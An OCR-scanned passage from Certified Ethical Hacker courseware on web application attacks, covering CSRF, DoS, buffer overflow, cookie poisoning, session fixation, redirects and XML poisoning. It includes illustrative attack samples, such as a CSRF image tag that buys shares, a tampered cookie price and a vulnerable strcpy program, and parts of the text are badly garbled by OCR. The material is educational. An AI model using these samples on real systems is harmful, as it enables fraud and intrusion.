Stores the session ident fierforthe '
session in a cookie in the web browser

Sends arequest fromthe user's © 4 I !

! using his session cookie
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Cross-site Request Forgery (CSRF) Attack

Cross-site request forgery is also known as a one-click attack. CSRF occurs when a
user's web browser is instructed to send a request to the venerable website through a
malicious web page. CSRF vulnerabilities are very commonly found on financial-related
websites. Corporate intranets usually can't be accessed by the outside attackers so CSRF is one
of the sources to enter into the network. The lack of the web application to differentiate a

request done by malicious code from a genuine request exposes it to CSRF attack.

Cross-Site request forgery (CSRF) attacks exploit web page vulnerabilities that allow an attacker
to force an unsuspecting user's browser to send malicious requests they did not intend. The
victim user holds an active session with atrusted site and simultaneously visits a malicious site,
which injects an HTTP request for the trusted site into the victim user's session, compromising

its integrity.
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O

User Trusted Website Malicious Website

Logs into the trusted site and
creates a new se ssion

Stores the desslon Identffler for the '
session In a cbokle In the web browser

> ! Visits a ma
Sends a request from the user's browser
a t using his session cookie

FIGURE 13.23: Cross-site Request Forgery (CSRF) Attack
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How CSRF Attacks W ork

In a cross-site request forgery attack, the attacker waits for the user to connect to the
trusted server and then tricks the user to click on a malicious link containing arbitrary code.
When the user clicks on the malicious link, the arbitrary code gets executed on the trusted

server. The following diagram explains the step-by-step process of a CSRF attack:
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Client Side Code

Symbol k

Shares £

<form action= buy.php"
method="POST">

<p>Symbol: <input type="text"

name-'symbor /x/p>
<p>Shares: <input type-'text"
name=,shares” />~</p>
<pXinput type="submit"
value="Buy" />~</p>

</former
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User logs into trusted server using his credentials

0

Server sets a session cookie Inthe user's browser

Malicious code is executed in the
trusted server

Attacker sends a phishing mall tricking
user to send a request to a malicious site

Response page contains malicious code

User requests a page from the malicious server
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Server Code

<<?php
session_start();
A (isset(5_REQUEST[ symbol'] r

isset ($_ REQUEST['shares']))

{buy_stocks ($_REQUEST['symbol '

%_’REQUEST[ *shares’]);} Trusted
7> Server

Attadker
Malicious Code

<img

sra="http ://juggyboy.ooralj

uggyshop.php?symbol=MSFT&s

hares=1000r /> Malicious
Server

FIGURE 13.24: How CSRF Attacks W ork
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W eb Application Denial-of-S ervice

CEH

(DoS) Attack

Attackers exhaust available server resources by Why Are Applications Vulnerable?
sending hundreds of resource-intensive * Reasonable Use of Expectations
requests, such as pulling out large image files

. . . A Application Environment Bottlenecks
or requesting dynamic pages that require

expensive search operations on the backend - Implementation Flaws
database servers - Poor Data Validation
Web Server Resource Consum ption Web Services Unavailability
Targets Application-level DoS attacks emulate the
i A CPU, Memory, and Sockets same request syntax and network-level
. ) B O B traffic characteristics as that of the
: - Disk Bandwidth legitimate clients, which makes it
i - Database Bandwidth B OB undetectable by existing DoS protection
measures

- Worker Processes
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W eb Application Denial-of"Service (DoS) Attack

Denial-of-service attacks happen when the legitimate users are prevented from
performing a desired task or operation. Attackers exhaust available server resources by
sending hundreds of resource-intensive requests, such as pulling out large image files or
requesting dynamic pages that require expensive search operations on the backend database
servers.

The following issues make the web applications vulnerable:
© Reasonable Use of Expectations
© Application Environment Bottlenecks
© Implementation Flaws
© Poor Data Validation

Application-level DoS attacks emulate the same request syntax and network-level traffic
characteristics as that of the legitimate clients, which makes it undetectable by existing DoS
protection measures. In web application denial-of-service attack the attacker targets and tries

to exhaust CPU, memory, Sockets, disk bandwidth, database bandwidth, and worker processes.
Some of the common ways to perform aweb application DoS attack are:
[ ] © Bandwidth consumption-flooding a network with data
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Q Resource starvation-depleting a system's resources
© Programming flaws-exploiting buffer overflows

© Routing and DNS attacks-manipulating DNS tables to point to alternate IP addresses
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Denial-of-Service (DoS) Examples CEH
. User The attacker could create a program that submits the registration forms
Rengtl’athﬂ DoS repeatedly, adding a large number of spurious users to the application

The attacker may overload the login process by continually sending login

Login
o9 requests that require the presentation tier to access the authentication
Attacks mechanism, rendering it unavailable or unreasonably slow to respond
User If application states which part ofthe user name/password pair is incorrect,

an attacker can automate the process of trying common user names from a
dictionary file to enumerate the users of the application

Enumeration

The attacker may enumerate user names through another vulnerability in
the application and then attemptto authenticate to the site using valid

Account Lock . o
user names and incorrect passwords, which will lock out the accounts after

Out Attacks

the specified number of failed attempts. At this point legitimate users will
not be able to use the site
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Denial’of°'Service (DoS) Example

Most web applications are designed to serve or withstand with limited requests. If the
limit is exceeded, the web application may fail the server the additional requests. Attackers use
advantage to launch denial-of-service attacks on the web applications. Attackers send too many
requests to the web application until it gets exhausted. Once the web application receives
enough requests, it stops responding to other request though it is sent by an authorized user.
This is because the attacker overrides the web application with false requests. Various web

application DoS attacks include:

6 User Registration DoS: The attacker could create a program that submits the
registration forms repeatedly adding a large number of spurious users to the

application.

© Login Attacks: The login procedure is overloaded by the attacker by repeatedly
transferring login requests that need the presentation tier to admit the request and
access the verification instructions. When the requests are overloaded, then the

process becomes slow or unavailable to the genuine users.

Q User Enumeration: When the application responds to any user authentication process
with the error message declaring the area of incorrect information, then the attacker
can easily manipulate the procedure by brute forcing the common user names from a

dictionary file to estimate the users of the application.
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0 Account Lock-Out Attacks: Dictionary attacks can be minimized by applying the account
lock method. The attacker may enumerate user names through vulnerability in the
application and then attempt to authenticate the site using valid user names and
incorrect passwords that will lock out the accounts after the specified number of failed

attempts. At this point, legitimate users will not be able to use the site.
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Buffer Overflow Attacks CEH

Bufferoverflow occurs when an application
writes more datato a block of memory, or
buffer, than the bufferisallocated to hold

A bufferoverflow attack allows an attacker to
modify the target process's address space in
orderto control the process execution, crash
the process, and modify internal variables

Attackers modify function pointers used by the
application to direct program execution
through ajump orcall instruction and points it
to alocation in the memory containing

Y
Vulnerable Code

int main(int argc, char *argv[]) {
char *dest_buffer;
dest_buffer = (char *) malloc(10);

if (NAL = dest_buffer)
return -1;

if (argc >1) {
strcpy(dest_buffer, argv[1]);

printf("The first oomnand-line
argument is %s.\n", dest_buffer); )
else {printf ("No command line
argument was ? n\n"); }
free(dest_buffer);

return 0; }

malicious codes

Note: For complete coverage of buffer overflow concepts and techniques, refer to Module 18: Buffer Overflow
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Buffer Overflow Attacks

A buffer has a specified data storage capacity, and if the count exceeds the original,
the buffer overflows; this means that buffer overflow occurs when an application writes more
data to a block of memory, or buffer, than the buffer is allocated to hold. Typically, buffers are
developed to maintain finite data; additional information can be directed wherever it needs to
go. However, extra information may overflow into neighboring buffers, destroying or

overwriting legal data.
Arbitrary Code

A buffer overflow attack allows an attacker to modify the target process's address

space in order to control the process execution, crash the process, and modify
internal variables. When a buffer overflows, the execution stack of a web application is
damaged. An attacker can then send specially crafted input to the web application, so that the
web application executes the arbitrary code, allowing the attacker to successfully take over the
machine. Attackers modify function pointers used by the application to redirect the program
execution through ajump or call instruction to a location in the memory containing malicious
code. Buffer overflows are not easy to discover, and even upon discovery they are difficult to
exploit. However, the attacker who recognizes a potential buffer overflow can access a

staggering array of products and components.
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Buffer Overflow Potential

Both the web application and server products, which act as static or dynamic features
of the site or of the web application, contain the potential for a buffer overflow error.
Buffer overflow potential that is found in server products is commonly known and creates a
threat to the wuser of that product. When web applications use libraries, they become

vulnerable to a possible buffer overflow attack.

Custom web application code, through which a web application is passed, may also contain
buffer overflow potential. Buffer overflow errors in a custom web application are not easily
detected. There are fewer attackers who find and develop such errors. If it is found in the
custom application (other than crash application), the capacity to use this error is reduced by
the fact that both the source code and error message are not accessible to the attacker.

Vulnerable Code
int main(int argc, char *argv[]) {
char *dest_buffer;
dest_buffer = (char *) malloc(l0);
if (NULL == dest_buffer)
return -1;
if (argc > 1) {
strcpy(dest_buffer, argv][l]);
printf("The first command-line argument is %s.\n", dest_buffer); }
else { printf("No command-line argument was given.\n"); } free(dest_buffer);
return 0; }

Note: For complete coverage of buffer overflow concepts and techniques, refer to Module 17:
Buffer Overflow Attacks.
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Cookie/Session Poisoning CEH

(ertifwd | itkitjl NmiIm

Cookies are used to maintain session state in the otherwise stateless HTTP protocol

Modify the Inject the Rewriting

Cookie Content Malicious Content the Session Data
Cookie poisoning attacks Poisoning allows an A proxy can be used for
involve the modification attackerto inject the rewriting the session data,
ofthe contents of a cookie m alicious content, modify displaying the cookie data,
(personal inform ation stored the user's online and/orspecifying anew user
inaweb user's computer) in experience, and obtain the IDor other session identifiers
order to bypass security unauthorized inform ation inthe cookie
mechanisms A
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Cookie/Session Poisoning

Cookies frequently transmit sensitive credentials and can be modified with ease to

escalate access or assume the identity of another user.

Cookies are used to maintain a session state in the otherwise stateless HTTP protocol. Sessions
are intended to be uniquely tied to the individual accessing the web application. Poisoning of
cookies and session information can allow an attacker to inject malicious content or otherwise

modify the user's on-line experience and obtain unauthorized information.

Cookies can contain session-specific data such as user IDs, passwords, account numbers, links
to shopping cart contents, supplied private information, and session IDs. Cookies exist as files
stored in the client computer's memory or hard disk. By modifying the data in the cookie, an
attacker can often gain escalated access or maliciously affect the user's session. Many sites
offer the ability to "Remember me?" and store the user's information in a cookie, so he or she
does not have to re-enter the data with every visit to the site. Any private information entered
is stored in a cookie. In an attempt to protect cookies, site developers often encode the
cookies. Easily reversible encoding methods such as Base64 and ROT13 (rotating the letters of

the alphabet 13 characters) give many who view cookies a false sense of security.
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Threats

The compromise of cookies and sessions can provide an attacker with user credentials, allowing
the attacker to access the account in order to assume the identity of other users of an
application. By assuming another user's online identity, the original user's purchase history can
be reviewed, new items can be ordered, and the services and access that the vulnerable web
application provides are open for the attacker to exploit. One of the easiest examples involves
using the cookie directly for authentication. Another method of cookie/session poisoning uses
a proxy to rewrite the session data, displaying the cookie data and/or specifying a new user ID
or other session identifiers in the cookie. Cookies can be persistent or non-persistent and
secure or non-secure. It can be one of these four variants. Persistent cookies are stored on a
disk and non-persistent cookies are stored in memory. Secure cookies are transferred only
through SSL connections.
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How Cookie Poisoning Works

GET /store/buy.aspx?checkout=yes HTTP/1.0 Host www.juggyshop.com
Accept «/* Referrer: http://www.juggyshop.com/showprods.aspxCookie:
SESSIONID=325896ASDD23SA3587; BasketSize=3; ltem|=1258;

. Item2=2658; Item3=6652; TotalPrice=11568;

Web server replies with requested
page and sets acookie on the user's browser

User browses aweb page

GET /stor~"buy.aspx?checkout*yes HTTP/1.0 Host
Attacker steals www.juggyshop.com Accept: </ Referrer: )
http://www.juggyshop.com/showprods.aspx Cookie:
SESSIONID*325896ASDD23SA3587; BasketSlze»3; Iteml»1258;
XSS, phishing attack) 1tem2=2658; Item3«6652; TotalPrice*100;

cookie (Sniffing,

Attacker orders for product using modified cookie

Productis delivered to attacker's address
Attacker

Copyright © by E&CO1nal. All Rights Reserved. Reproduction is Strictly Prohibited.

How Cookie Poisoning W orks

Cookies are mainly used by web applications to simulate a stateful experience
depending upon the end user. They are used as an identity for the server side of web
application components. This attack alters the value of a cookie at the client side prior to the
request to the server. A web server can send a set cookie with the help of any response over
the provided string and command. The cookies are stored on the user computers and are a
standard way of recognizing users. All the requests of the cookies have been sent to the web
server once it has been set. To provide further functionality to the application, cookies can be
modified and analyzed by JavaScript.

w In this attack, the attacker sniffs the user's cookies and then modifies the cookie
parameters and submits to the web server. The server then accepts the attacker's

request and processes it.
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The following diagram clearly explains the process of a cookie poisoning attack:

GET /store/buy.*1spx?checkout-yesHI 1P/1.0 Host: www.juggybhop.com 7
Accept: */* Referrer: http://www.juggyshop.com/showprods.dspxCookie:
SESSIONID-32b896A$DD23SA3587; BasketSize-3;lteml-1258;
Item2-2658; Item3-6652; TotalPrice-11568; A

Webserver

Webserver replies with requested
page and sets a cookie on the user's browser

User browses a web page

GET /store/buy.aspx?checkout=yes HTTP/1.0 Host:
www.juggyshop.com Accept: */* Referrer:
cookie (Sniffing http://www.juggyshop.com/showprods.aspx Cookie:

’ SESSIONID-325896ASDD23SA3587; BasketSize=3; Iteml-1258;
XSS, phishing attack) Iten2=2658; 1tem36652"; TotalPrice-100;

Attacker steals

Attacker orders for product using modified cookie

Productis delivered to attacker's address

Attacker

FIGURE 13.25: How Cookie Poisoning Works
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Session Fixation Attack CEH

In a session fixation attack, the . .
Attacker assumes the identity of the

attacker tricks the user to access a o . . .
victim and exploits his credentials at

genuine web server using an explicit
the server

session ID value

Attacker logs on to the bank website using his credentials

Web server sets asession ID on the attacker's machine
Server

(juggybank.com)

Attacker logs into the server using the victim's I 1 go

Attacker credentials with the same session ID
A A

Attacker sends an
email containing a link
with afix session ID  http://juggybank.dom/login.ja
p?sessionid=4321

User clicks on the link and is redirected to the bank website .

I l User logs into the server using his credentials and fixed session ID

Copyright © by E&CO1nal. All Rights Reserved. Reproduction is Strictly Prohibited.

User

Session Fixation Attacks

Session fixation helps an attacker to hijack a valid user session. In this attack, the
attacker authenticates him or herself with a known session ID and then lures the victim to use
the same session ID. If the victim uses the session ID sent by the attacker, the attacker hijacks

the user validated session with the knowledge of the used session ID.
The session fixation attack procedure is explained with the help of the following diagram:

Attacker logs on to the bank website using his credentials

Webserver sets a session ID on the attacker's machine
Server

(juggybank.com)

Attacker logs into the server using the victim's D B
Attacker credentials with the same session ID

Attacker sends an
email containing a link
with afix session ID  http: //juggybank.dom/login. js
p?sessionid=4321

User clicks on the link and is redirected to the bank website

User logs into the server using his credentials and fixed session ID

User

FIGURE 13.26: How Cookie Poisoning Works
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In sufficient Transport Layer
CEH

P rotection

Insufficient transport layer protection supports weak algorithms, and

uses expired or invalid certificates

Underprivileged SSLsetup can also help the
attacker to launch phishing and MITM attacks

This vulnerability exposes user's data
to untrusted third parties and can
lead to account theft

Copyright © by E&CO1nal. All Rights Reserved. Reproduction is Strictly Prohibited

Insufficient TransportLayer Protection

SSL/TLS authentication should be used for authentication on the websites or the

attacker can monitor network traffic to steal an authenticated user's session cookie.

Insufficient transport layer protection may allow untrusted third parties to obtain unauthorized
access to sensitive information. The communication between the website and the client should
be properly encrypted or data can be intercepted, injected, or redirected. Various threats like
account thefts, phishing attacks, and admin accounts may happen after systems are being

compromised.
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Improper Error Handling CEH

J Impropererror handling gives insight into source code such as logic flaws,

default accounts, etc.

Using the inform ation received from an error message, an attacker

identifies vulnerabilities

Inform ation G athered )
|0 0 httpy/j uggyboy.com/

e Outofmemory
Boyl

« Null pointer exceptions

. General Error
« System call failure

(hﬂrndja‘npmllmlrfcmaaim

® Database unavailable

IenJemmMO(armléa
© Network timeout %ummuﬂlﬁ %mmumm
S Database information ke

g'tpc]d»1547 Aﬂf%%pﬁ%mdmgs e

a Web application logical flow pﬁ_ﬂ ,@]_LMTQ
© Application environment ESRIUTWBI\HEH’D
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JIJwSi Im proper Error Handling

e Improper error handling may result in various types of issues for a website exclusively
related to security aspects, especially when internal error messages such as stack traces,
database dumps, and error codes are displayed to the attacker. An attacker can get various
details related to the network version, etc. Improper error handling gives insight into source
code such as logic flaws, default accounts, etc. Using the information received from an error

message, an attacker identifies vulnerabilities for launching attacks.
Improper error handling may allow an attacker to gather information such as:

© Out of memory

€ Null pointer exceptions

e System call failure

e Database unavailable

0 Network timeout

Q Database information

e Web application logical flow

€ Application environment
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Insecure Cryptographic Storage C EH

Copyright © by E&CO1nal. All Rights Reserved. Reproduction is Strictly Prohibited.

1 j! Insecure Cryptographic Storage

Web applications use cryptographic algorithms to encrypt their data and other
sensitive information that is transferred from server to client or vice versa. The web application
uses cryptographic code to encrypt the data. Insecure cryptographic storage refers to when an
application uses poorly written encryption code to securely encrypt and store sensitive data in

the database.

The insecure cryptographic storage mentions the state of an application where poor encryption
code is used for securely storing data in the database. So the insecure data can be easily hacked
and modified by the attacker to gain confidential and sensitive information such as credit card
information, passwords, SSNs, and other authentication credentials with appropriate
encryption or hashing to launch identity theft, credit card fraud, or other crimes. Developers

can avoid such attacks by using proper algorithms to encrypt the sensitive data.

The following pictorial representation shows the vulnerable code that is poorly encrypted and
secure code that is properly encrypted using a secure cryptographic algorithm.
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FIGURE 13.27: Insecure Cryptographic Storage
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Broken Authentication and

CEH

Session M anagement

B An attacker uses vulnerabilities in the authentication or session managementfunctions such
as exposed accounts, session IDs, logout, password management, timeouts, remember me,

secret question, accountupdate, and others to impersonate users

Session ID in URLs Password Exploitation Timeout Exploitation
http://juggyshop.com/sale/saleitems=30
4;jsessionid120~ MTOIDPXMOOQSABGCK Attacker gains access to the web If an application's timeouts are not set
LHCJUN2JV?dest” NewMexico application's password database. properly and a user simply closes the
b ith tl i tf it
Attacker sniffs the network traffic If user padssv;/ords arek not rowse;v:r: ouh oggltn]lg ou romt sites
accesse rough a public computer,
or tricks the userto getthe encryple +the attacker can 9 P P
exploit every users' password the attacker can use the same browser

session IDs, and reuses the

. . later and exploit the user's privileges
session IDs for malicious purposes

Copyright © by E&Coinal. All Rights Reserved. Reproduction is Strictly Prohibited.

Broken Authentication and Session M anagement

Authentication and session management includes every aspect of user authentication
and managing active sessions. Yet times solid authentications also fail due to weak credential
functions like password change, forgot my password, remember my password, account update,
etc. Utmost care has to be taken related to user authentication. It is always better to use strong
authentication methods through special software- and hardware-based cryptographic tokens
or biometrics. An attacker uses vulnerabilities in the authentication or session management
functions such as exposed accounts, session IDs, logout, password management, timeouts,

remember me, secret question, account update, and others to impersonate users.
Session ID in URLs

1, An attacker sniffs the network traffic or tricks the user to get the session IDs, and

reuses the session IDs for malicious purposes.

Example:
http://iuggvshop.com/sale/saleitems=304;isessionid=120MTOIDPXMOOQSABGCKLHCJUN2JV?d

est=NewMexico
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Timeout Exploitation

If an application's timeouts are not set properly and a user simply closes the browser
— without logging out from sites accessed through a public computer, the attacker can

use the same browser later and exploit the user's privileges.
gjjgn Password Exploitation

An attacker gains access to the web application's password database. If user

passwords are not encrypted, the attacker can exploit every users' password.
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Unvalidated R edirects and

CEH

Forwards Urtifwd  ilhiul 1UtbM

J Unvalidated redirects enable attackers to install malware or trick victims into disclosing
passwords or other sensitive inform ation, whereas unsafe forwards may allow access

control bypass

Unvalidated Redirect

Attacker sends an email User is redirected to
containing rewrite link to attacker's server
malicious server
(http://www.iuggyboy.com/redirectIspK? User M alicious Server

=http://www .evilserver.com)

Unvalidated Forward loo hyjim

Administration Page

Attacker requests page L
It Create price list

from serverwith a forward ~
) Q Create item listing
http://www.juggyshop.com/purch Attacker is forwarded
“w--*-. ase jsp?fwd=admin.jsp % . to admin page *1 Purchase records
£3 Registered users
Attacker Server
Copyright © by E&CO1nal. All Rights Reserved. Reproduction is Strictly Prohibited
" Unvalidated Redirects and Forwards

Vv An attacker links to unvalidated redirects and lures the victim to click on it. When the
victim clicks on the link thinking that it is a valid site, it redirects the victim to another site. Such
redirects lead to installation of malware and even may trick victims into disclosing passwords or

other sensitive information. An attacker targets unsafe forwarding to bypass security checks.
Unsafe forwards may allow access control bypass leading to:

Q Session Fixation Attacks

0 Security Management Exploits

© Failure to Restrict URL Access

0 Malicious File Execution
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Unvalidated Redirect

Attacker sends an email
containing rewrite link to attacker's server
malicious server
Atta:ker (http://www.juggYboy.com/redirect.aspx? User
“http://www.evil5erver.com)

User is redirected to

Unvalidated Forward

Administration Page
Attacker requests page

) £ Create price list
from server with a forward

http://www .juggyshop.com/purch

Q Create item listing
ase.jsp?fwd=admin.jsp

Attacker isforwarded
to admin page *1 Purchase records

3 Registered users
Attadker Sener

FIGURE 13.28: Unvalidated Redirects and Forwards
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Web Services Architecture CEH

QI itfdd Nin

XML, SOAP, WSDL, Schema, WS-Advertising, etc.

.Net TCP Channel,
Fast InfoSet, etc.

Copyright © by E(biraI.An Rights Reserved. Reproduction is Strictly Prohibited.

W eb Services Architecture

*T O
WS Work Processes
WS~Security
WS-Federation WS-SecureConversion
WS~ Policy
WS WS-Trust
Security SAML Kerbel X.509
Policy XML Encryption rity Token Profiles :1
XML Digital Signatures
XML, SOAP, WSDL, Schema, WS-Advertising, etc.
j .Net TGP Channel,
HTTP Fest InfoSet, etc.
FIGURE 13.29: Web Services Architecture
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Web Services Attack CEH

UrlitM - 1Unjl NMM

0 Web services evolution and its increasing use in business offers new attack vectors in an application
framework

Web services are based on XML protocols such as Web Services Definition Language (WSDL) for describing
the connection points; Universal Description, Discovery, and Integration (UDDI) forthe description and
discovery of web services; and Simple Object Access Protocol (SOAP) for communication between web

Copyright © by E&Coinal. All Rights Reserved. Reproduction is Strictly Prohibited.

N4 NI "eb Services Attack

Web services evolution and its increasing use in business offers new attack vectors in
an application framework. Web services are process-to-process communications that have
special security issues and needs. Web services are based on XML protocols such as Web
Services Definition Language (WSDL) for describing the connection points; Universal
Description, Discovery, and Integration (UDDI) for the description and discovery of web
services; and Simple Object Access Protocol (SOAP) for communication between web services
that are vulnerable to various web application threats. Similar to the way a user interacts with a
web application through a browser, a web service can interact directly with the web application

without the need for an interactive user session or a browser.

These web services have detailed definitions that allow regular users and attackers to
understand the construction of the service. In this way, much of the information required to
fingerprint the environment and formulate an attack is provided to the attacker. It is estimated
that web services reintroduce 70% of the vulnerabilities on the web. Some examples of this

type of attack are:

Q An attacker injects a malicious script into a web service, and is able to disclose and

modify application data.

© An attacker is using a web service for ordering products, and injects a script to reset
guantity and status on the confirmation page to less than what was originally ordered.
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In this way, the system processing the order request submits the order, ships the order,
and then modifies the order to show that a smaller number of products are being
shipped. The attacker winds up receiving more of the product than he or she pays for.
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W eb Services Footprinting Attack C EH
QY itfdd N

J Attackers footprint a web application to get UDDI inform ation such as businessEntity,

businesService, bindingTem plate, and tModel

XML Query XML Response

POST /inquire HTTP/1.1 HTTP200 1.1"0K
ContenteType: text/xml; charset=utf-8 Date: Tue. 28 Sep 2004 10:07:42 GMT
SOAPAction: — Server: Mk*osoft-1S6.0'

3 X-Powered-By: ASP.NET
Cache-Control: no-cache XAspNet-Vers-oo 114322
Pragma: no-cache Cache-CortroJ: private, max-age=0
User-Agent: Java/1.4.2_04 ContortsType: text/xml: charsot-utf 8
Host: uddi.miaosoft.com Contert-Length: 1272
A(;(r:'lenp;:mts:.t/:etg:)l,;r:;gelglf, image/ipeg/; 4=2,/; 4=2 <?xml versk)n=*1.0~ encoding="utl-8,?><80ap:Enva0OpO
c . 8 xmInssoap-'bttp '/schemas xmlsoap org/soap/onvolopor xmIns:xsi-~ttp://www.w3.0rg/2001 "XMLSchoma
Content-Length:229 instance’ xm1n8:xsd™*hnp://www.w3.0rg/2001/XMLSchema,><8oap:Body><8erviceList generic-*.0"

operator-*Microsoft Corporations truncated-"false" xmins-;urn:uddi-org:apl_v2"><servicelnfos><servicelnfo

<7xml version1.0"" encoding™"UTF-8" 7> se'viceKey=*6ec464e0-218d-4dafb4dd*>dd4baddc8I3" businessKey=+914374tbM01-4834-b8ef-

< c9c34c8alce5*><namo xml lang-*on-us"> <>namo></sorvicolnk»<sorvicolnlo
nvelop sorveoKoy-M 1213238+ 1633 4014 8756 c89cc31250CCe businossKoy-"bfb9dc23adoc-4173bd5fs
xmins="http://scemas.xmlsoap.org/soap/envelop/"> 5545abacaalb"xnamc xmllang-"en-us"> </namc></scrviceln10xscivicelnlo
<Body> serviceKey«'ba6d9d56-ea3M263-a95a-eebl 7e591 Odb” businessKey="18b71de2-dl 5¢-437¢-8877-
<fmd_business generic="2.0" maxRows"50" cbec8216d0f5' xname xml:lang=*en"> <Inamcx/servicelnloxservicelnlo
wnins="um uddi- serviceKey»"bc82a008-5e4e4 cOc-8dba-c5ede268le12" businessKey»18785586-295" e-448a-b759-

X Cbb44a049t21"xnam e xml:lang="on*> <namo></scrvicclnfo><sciviccinfo
org:api_v2"xname>amazon</name></find_business> serviceKey-,8faa80ea-42dd4 cOd*8070999 ce0455930" businessKey-"ee41518b-bf99-4a66-9e9e-
</Body> c33c4c43db5a*xname
</Envelop> xHllang«*en'> </name></serviceln10><7serviceln10s></serviceList><;soap:Body><.'soap:

HTTP/1.1 50 Continue

Copyright © by E&Coinal. All Rights Reserved. Reproduction is Strictly Prohibited.

n W eb Services Footprinting Attack

NN Attackers use Universal Business Registry (UBR) as major source to gather information
of web services. It is very useful for both businesses and individuals. It is a public registry that
runs on UDDI specifications and SOAP. It is somewhat similar to a "Whois server" in
functionality. To register web services on UDDI server, business or organizations usually use one

of the following structures:
Q Business Entity
Q Business Service
© Binding Temple
e Technical Model (tmodel)

Hence, attackers footprint a web application to get UDDI information such as businessEntity,

businesService, bindingTemplate, and tModel.
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XML Query

POST/inquire HTTP/1.1

Content-Type: text/xml; charset=utf-8

SOAPAction: """

Cache-Control: no-cache

Pragma: no-cache

User-Agent: Java/1.4.2_04

Host: uddi.microsoft.com

Accept: text/html, image/glf, image/jpeg,*; =2, /; =2
Connection: keep-alive

Content’Length:229

<?xml version="1.0" encoding="UTF-8" 2>

<Envelop
xmlns="http://scemas.xmlsoap.org/soap/envelop/">
<Body>

<find_businessgeneric="2.0" maxRows"50"
xmins="urn"uddi-
Org:api_v2"xname=>amaz0n</namex/find_business>
</Body>

</Envelop>

HTTP/1.1 SO Continue

Exam 312-0certified Ethical Hacker

XML Response

HITP?L1 2000K

Date: Tue, 28 Sep 2004 10:07:42 GMT
Server: Microsotl-11S'6.0
X-Powered-By: ASP NET

X-AspNet Version: 1.1.4322
Cache-Control: private,max-age-0
Content-Type: text/x: cnarset-ut(8
Content-Length: 1272

<?tml version1.0-"" encoding="utf-8"?><soap:Envelope

xmins:soap™" nttp://schemas.xmisoaporg/soap/enveloper xmins:*si~ "hittp:/AMmmwvmB.0rg/2001/XMLSchema-
instance” xmins:xsd™ * http AMW~v.wW3.0rg/2001/XMLSchema’"><soap:BodyxserviceL ist generic"2.0"
operator™ “Micrasoft Corporation™ truncated™ “false™ xmins™ “um:uddi-Org:api_v2 xservicelnfosxservicelnlo
servjceKey=6"ec464e0-2f8d-4dal-b4dd-5dd4ba9dc8f3m businessKey-914374"fb-(10f-4634-b8el-

C9e34e8alee5'xname xmi:lang="en-us"> </namex/servicelrlto><servicelnto
serviceKey=41213238-1" b33-40f4-8756-c89cc3125e0c™ businessKey="bfb9dc23-adec-4(73-bd5f-
5545abaeaalb’ ><name xm:lang="en-us"> </name>feervicelnl0>serviceln10
setviceKey»T>a6d9d56-ea3f-4263-a95a-eeb176591 Odb' businessKey-'t8b7lde27d15c-437c8877™-
ebec8216d015"xname xmi:lang="en"> </namex/servtelntOxservicelnk>
sen"ceKey-"bc82a038-5e4e1c0c-8dba-cS5ede268fe 12 businessKey-" 18785586-295e-448a-b759-
ebb44a049f21"xname xmi:lang="en"> </namex/servkelnfOxservcelnfO

serviceKey-"8faa80ea-42dd-4c0d-8070-999ce0455930" businessKey-'ee41518b-b(99-4a66-9e%e-
¢33c4c43db5a"xname
*abllang."en™ </name></servicelnfox/servicelnlos></serviceUst></soap:Body><'soap:

~pveiopo

FIGURE 13.30: Web Services Footprinting Attack
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W eb S ervices
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L Poisoning CEH

Attackers insert malicious XML codes in SOAP requests to perform XML node manipulation or XML schema
poisoning in order to generate errors in XML parsing logic and break execution logic

Attackers can manipulate XML external entity references that can lead to arbitrary file or TCP connection

openings and can be exploited for other web service attacks

XML poisoning enables attackers to cause a denial-of-service attack and compromise confidential information

XML Request

<CustomerRecord>
<CustomerNumber>2010</CustomerNumber>
<FirstName>Jason</FirstName>
<LastName>Springfield</LastName>
<Address>Apt 20, 3rd Street</Address>
<Email>jason@ springfield.com</Email>
<PhoneNumber>6325896325</PhoneNumber>
</CustomerRecord>

Poisoned XML Request

<CustomerRecord>

<CustomerNumber>2010</CustomerNumber>
<FirstName>Jason</FirstName><CustomerNumber>

2010</CustomerNumber>
<FirstName>Jason</FirstName>
<LastName>Springfield</LastName>
<Address>Apt 20, 3rd Street</Address>
<Email>jason (®springfield.com</Email>
<PhoneNumber>6325896325</PhoneNumber>

</CustomerRecord>

Copyright © by E&CO1nal. All Rights Reserved. Reproduction is Strictly Prohibited.

W eb Services XM L Poisoning

XML poisoning is similar to a SQL injection attack. It has a larger success rate in a web

services framework. As web services are invoked using XML documents, the traffic that goes

between server and browser applications can be poisoned. Attackers create malicious XML

documents to alter parsing mechanisms like SAX and DOM that are used on the server.

Attackers insert malicious XML codes in SOAP requests to perform XML node manipulation or

XML schema poisoning in order to generate errors in XML parsing logic and break execution

logic. Attackers can manipulate XML external entity references that can lead to arbitrary file or

TCP connection openings and can be exploited for other web service attacks. XML poisoning

enables attackers to cause a denial-of-service attack and compromise confidential information.
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FIGURE 13.31: Web Services XML Poisoning
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Hacking Methodology

mm

Web Application Hacking Tools
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oA M odule Flow

So far, we have discussed web application components and various threats associated
with web applications. Now we will discuss web application hacking methodology. A hacking
methodology is a way to check every possible way to compromise the web application by

attempting to exploit all potential vulnerabilities present in it.

A Web App Pen Testing Web App Concepts
Security Tools Web App Threats
Countermeasures n Hacking Methodology

1S1

Web Application Hacking Tools

This section gives a detailed explanation of web application hacking methodology.
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#Nn " Web App Hacking Methodology
D <n>
In order to hack a web application, the attacker initially tries to gather as much

information as possible about the web infrastructure. Footprinting is one method using which
an attacker can gather valuable information about the web infrastructure or web application.

Module 13Page 18%6 Ethical Hacking and Countermeasures Copyright © by EC-COUNCil
All Rights Reserved. Reproduction is Strictly Prohibited.



Ethical Hacking and Countermeasures Exam 31250 certified Ethical Hacker
Hacking Web Applications

FootprintWeb Infrastructure CEH

J Web infrastructure footprintingis the first step in web application hacking; it helps attackers to

select victims and identify vulnerable web applications

Hidden
Content Discovery

Server Discovery Extractcontent and
functionality thatis not

Discoverthe physical directly linked or reachable

servers that hosts . L
from the main visible content

Server ldentification

web application

Grab server banners to
identify the make and

Service Discovery version ofthe web
serversoftware
Discoverthe services running onweb

servers that can be exploited as
attack paths forweb app hacking
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Footprint Web Infrastructure

Web infrastructure footprinting is the first step in web application hacking; it helps
attackers to select victims and identify vulnerable web applications. Through web

infrastructure footprinting, an attacker can perform:
. Server Discovery

In server discovery, when there is an attempting to connect to a server, the redirector
makes an incorrect assumption that the root of the URL namespace will be WebDAV-

aware. It discovers the physical servers that host web application.

Service Discovery

Discovers the services running on web servers that can be exploited as attack paths
for web app hacking. The service discovery searches a targeted application environment for

loads and services automatically.

Server Identification

Grab the server banners to identify the make and version of the web server software.

It consists of:

